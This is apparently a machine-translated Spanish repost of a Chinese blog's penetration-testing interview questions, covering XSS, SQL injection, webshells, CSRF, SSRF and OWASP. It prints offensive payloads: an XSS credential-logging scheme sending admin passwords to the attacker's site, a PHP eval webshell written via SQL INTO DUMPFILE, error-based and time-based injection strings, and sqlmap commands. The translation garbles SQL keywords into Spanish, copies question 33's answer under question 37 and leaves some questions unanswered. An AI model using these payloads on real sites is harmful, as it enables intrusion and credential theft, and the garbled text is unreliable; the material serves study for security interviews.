Serie de preguntas de la entrevista: Preguntas comunes de las pruebas de penetración-2

26. En el caso de shell, ¿cómo usar xss para lograr un control a largo plazo de la estación objetivo?

Agregue una sección de js para registrar la contraseña de la cuenta de inicio de sesión en el inicio de sesión de back-end y determine si el inicio de sesión es exitoso. Si el inicio de sesión es exitoso, registre la contraseña de la cuenta en un archivo en una ruta remota o envíela directamente al archivo de su sitio web. (Este método es adecuado para redes que son valiosas y requieren permisos de control en profundidad).

Inserte scripts XSS en archivos a los que se puede acceder después de iniciar sesión.

27. En segundo plano para modificar la contraseña de administrador, la contraseña original se muestra como *. ¿Cómo cree que debería leerse la contraseña del usuario?

El elemento de revisión cambia el atributo de contraseña de la contraseña a texto y se muestra en texto sin formato.

28. La estación de destino no está protegida y se puede acceder a las imágenes cargadas normalmente, pero el acceso al formato de script de carga es 403. ¿Cuál es el motivo?

Hay muchas razones. Es posible que la configuración del servidor web escriba el directorio de carga y no ejecute el script correspondiente. Intente cambiar el nombre del sufijo para omitir

29. El elemento de revisión conoció el software de protección utilizado en el sitio web, ¿cómo cree que se hizo?

Cuando se interceptan operaciones confidenciales y la información de la interfaz no se puede utilizar para determinar la protección específica, F12 puede ver el contenido del nombre mirando el cuerpo HTML, como el guardián.

30. ¿Cuál es el propósito de crear una carpeta .zhongzi en el servidor win2003?

Carpetas ocultas, para evitar que los administradores descubran las herramientas que carga.

31. La inyección SQL tiene las siguientes dos opciones de prueba, elija una y explique la razón para no elegir la otra:

A. demo.jsp? Id = 2 + 1

B. demo.jsp? Id = 2-1

Elija B, en la codificación de URL + representa un espacio, que puede causar confusión

32. Los siguientes enlaces tienen vulnerabilidades de inyección de SQL. ¿Qué piensas sobre esta inyección de variante?

demo.do?DATA=AjAxNg==

Los DATOS pueden estar codificados en base64 y luego transferidos al servidor, por lo que debemos codificar los parámetros en base64 para completar la prueba correctamente

33. Encontró el punto de inyección de demo.jsp? Uid = 110. ¿Qué tipo de ideas tiene para obtener webshell, cuál es la mejor?

Si tiene permisos de escritura, puede usar INTO OUTFILE para construir una declaración de consulta conjunta, y puede redirigir la salida de la consulta a un archivo en el sistema, para que pueda escribirla en WebShell. El principio de usar sqlmap-os-shell es el mismo que el anterior para obtener uno directamente Shell, que es más eficiente. Obtenga la cuenta y la contraseña del administrador del sitio web mediante la construcción de una declaración de consulta conjunta, luego escanee el fondo para iniciar sesión en segundo plano, y luego cargue el Shell en segundo plano cambiando el paquete y cargando.

34. ¿Cuál es la diferencia entre CSRF y XSS y XXE, y cómo solucionarlo?

XSS es un ataque de scripting entre sitios, en los datos enviados por los usuarios, se pueden construir códigos para ejecutar, a fin de realizar ataques como el robo de información del usuario. Método de reparación: escape de las entidades de caracteres, use HTTP Only para prohibir que JavaScript lea los valores de las cookies, verifique al ingresar y use la misma codificación de caracteres para el navegador y la aplicación web.

CSRF es un ataque de falsificación de solicitudes entre sitios , y XSS es uno de los muchos medios para lograr CSRF, porque no confirma si el usuario inicia voluntariamente durante la ejecución de operaciones clave. Método de reparación: elimine las páginas que deben protegerse contra CSRF, luego inserte el token, ingrese la contraseña nuevamente y verifique que Referer XXE es un ataque de inyección de entidad externa XML. En XML, se puede llamar a las entidades para solicitar contenido local o remoto, similar a la protección de archivos remotos, lo que provocará Problemas de seguridad, como leer archivos confidenciales. Método de reparación: la biblioteca de análisis XML prohíbe estrictamente el análisis de entidades externas al llamar.

35. ¿Cuál es la diferencia entre CSRF, SSRF y ataques de repetición?

CSRF es un ataque de falsificación de solicitud entre sitios. SSRF iniciado por el cliente es una falsificación de solicitud del lado del servidor. Un ataque de reproducción iniciado por el servidor es reproducir el paquete de datos interceptado para lograr la autenticación de identidad y otros propósitos.

36. Nombre al menos tres vulnerabilidades de lógica empresarial y cómo solucionarlas.

Existe una vulnerabilidad de recuperación de contraseña

1) La contraseña permite el descifrado por fuerza bruta,

2) Hay un certificado de recuperación de uso general,

3) Puede omitir el paso de verificación,

4) Recuperar el certificado se puede obtener bloqueando el paquete

La contraseña se puede obtener a través de la función de recuperación de contraseña proporcionada por el fabricante. Las vulnerabilidades de autenticación más comunes son

1) Ataques de fijación de sesiones

2) Falsificación de cookies

Siempre que obtenga Session o Cookie, puede falsificar la identidad del usuario. Existe la vulnerabilidad del código de verificación

1) El código de verificación permite el craqueo por fuerza bruta

2) El código de verificación se puede omitir a través de Javascript o la modificación del paquete

37. Encierre en un círculo los elementos que pueden tener problemas en la siguiente conversación y marque los posibles problemas.

get /ecskins/demo.jsp?uid=2016031900&keyword="hello world ”HTTP / 1.1Host: .com: 82User-Agent: Mozilla / 5.0 Firefox / 40Accept: text / css, /; q = 0.1Accept-Language: zh- CN; zh; q = 0.8; en-US; q = 0.5, en; q = 0.3 Referer: http: // .com / eciop / orderForCC / cgtListForCC.htm? Zone = 11370601 & v = 145902Cookie: myguid1234567890 = 1349db5fe50c372c3d993709f54c372c3d995709f54 session_OGRMIFIYJHAH5_HZRQOZAMHJ; st_uid = N90PLYHLZGJXI-NX01VPUF46W; estado = TrueConnection: mantener vivo

Si tiene permisos de escritura, puede usar INTO OUTFILE para construir una declaración de consulta conjunta, y puede redirigir la salida de la consulta a un archivo en el sistema, para que pueda escribirla en WebShell. El principio de usar sqlmap-os-shell es el mismo que el anterior para obtener uno directamente Shell, que es más eficiente. Obtenga la cuenta y la contraseña del administrador del sitio web mediante la construcción de una declaración de consulta conjunta, luego escanee el fondo para iniciar sesión en segundo plano, y luego cargue el Shell en segundo plano cambiando el paquete y cargando.

38. Darle un sitio web, ¿cómo llegó a las pruebas de penetración? Bajo la premisa de obtener una autorización por escrito.

39. sqlmap, ¿cómo inyectar un punto de inyección?

1) Si es un modelo de obtención, directamente, sqlmap -u "como una URL de punto".

2) Si es un tipo de publicación como un punto, puede sqlmap -u "insertar URL de punto" --data = "parámetro de publicación"

3) Si es una cookie, X-Fordered-For, etc., cuando pueda acceder a ella, use burpsuite para capturar el paquete, reemplace la ubicación de inyección con un número, colóquelo en el archivo y luego sqlmap -r "dirección de archivo"

40. nmap, varias formas de escanear

41. ¿Varios tipos de inyección SQL?

1) Error de inyección

2) Inyección tipo bool

3) Retraso de la inyección

4) inyección de bytes amplios

42. ¿Cuáles son las funciones inyectadas con informes de errores? 10

1) y extractvalue (1, concat (0x7e, (select @@ version), 0x7e))】】】 2) 通过 floor 报错 向下 取 整 3) + y updatexml (1, concat (0x7e, (secect @@ version ), 0x7e), 1) 4) .geometrycollection () seleccionar de prueba donde id = 1 y geometrycollection ((seleccionar de (seleccionar de (seleccionar usuario ()) a) b)); 5) .multipoint () seleccionar de prueba donde id = 1 y multipunto ((seleccionar de (seleccionar de (seleccionar usuario ()) a) b)); 6) .polygon () seleccionar de prueba donde id = 1 y polígono ((seleccionar de (seleccionar de (seleccionar usuario ( )) a) b)); 7) .multipolygon () seleccione de la prueba donde id = 1 y multipolygon ((seleccione de (seleccione de (seleccione usuario ()) a) b)); 8) .linestring () seleccione de prueba donde id = 1 y cadena de líneas ((seleccionar de (seleccionar de (seleccionar usuario ()) a) b)); 9) .multilinestring () seleccionar de prueba donde id = 1 y multilínea ((seleccionar de (seleccionar de (seleccionar usuario ()) a) b)); 10) .exp () seleccionar de la prueba donde id = 1 y exp (~ (seleccionar * de (seleccionar usuario ()) a));

43. ¿Cómo juzgar la inyección retrasada?

if (ascii (substr ("hola", 1, 1)) = 104, dormir (5), 1)

44. ¿Qué tienen en común las ciegas y las inyecciones retardadas?

Es un juicio carácter por carácter.

45. ¿Cómo obtener el webshell de un sitio web? Carga, plantilla de edición en segundo plano, archivo de escritura de inyección SQL, ejecución de comandos, ejecución de código, algunas vulnerabilidades de cms que han sido expuestas, como el fondo dedecms puede crear directamente archivos de script, el complemento de carga de wordpress contiene archivos de script, paquete de compresión zip, etc.

46. ​​¿Cuáles son las funciones de la inyección SQL para escribir archivos?

seleccione 'una oración' en el archivo de salida 'ruta' seleccione 'una oración' en el archivo de volcado 'ruta' seleccione '<? php eval ($ _ POST [1])?>' en el archivo de volcado: \ wwwroot \ baidu.com \ nvhack. php ';

47. ¿Cómo prevenir el CSRF?

1) Verificar el referidor

2) Verificar token

Detalles: http://cnodejs.org/topic/5533dd6e9138f09b629674fd

48. ¿Cuáles son las vulnerabilidades de owasp?

1) método de protección de inyección SQL:

2) Autenticación de identidad y gestión de sesiones no válidas

3) Ataque de scripting entre sitios XSS

4) Refiérase directamente a objetos inseguros

5) Error de configuración de seguridad

6) Fuga de información sensible

7) Falta de control de acceso a nivel de función

8) Falsificación de solicitudes entre sitios CSRF

9) Utilice componentes con vulnerabilidades conocidas

10) Redirección y reenvío no verificados

49. ¿Método de protección de inyección SQL?

1) Utilice una API segura

2) Escapa de los caracteres especiales de entrada

3) Utilice listas blancas para estandarizar los métodos de verificación de entrada

4) Controle la entrada del cliente y no permita la entrada de caracteres especiales relacionados con la inyección SQL

5) El servidor filtra, escapa, reemplaza y elimina los caracteres especiales antes de enviarlos a la base de datos para la consulta SQL.

50. ¿Cuáles son las funciones para la ejecución de código, lectura de archivos y ejecución de comandos?

1) Ejecución de código:

eval, preg_replace + / e, assert, call_user_func, call_user_func_array, create_func

2) Lectura de archivos:

file_get_contents (), highlight_file (), fopen (), leer

file (), fread (), fgetss (), fgets (), parse_ini_file (), show_source (), file (), etc. 3) Ejecución del comando:

sistema (), exec (), shell_exec (), passthru (), pcntl_exec (), popen (), proc_open ()

Supongo que te gusta

Origin blog.csdn.net/GUDUzhongliang/article/details/108659540
Recomendado
Clasificación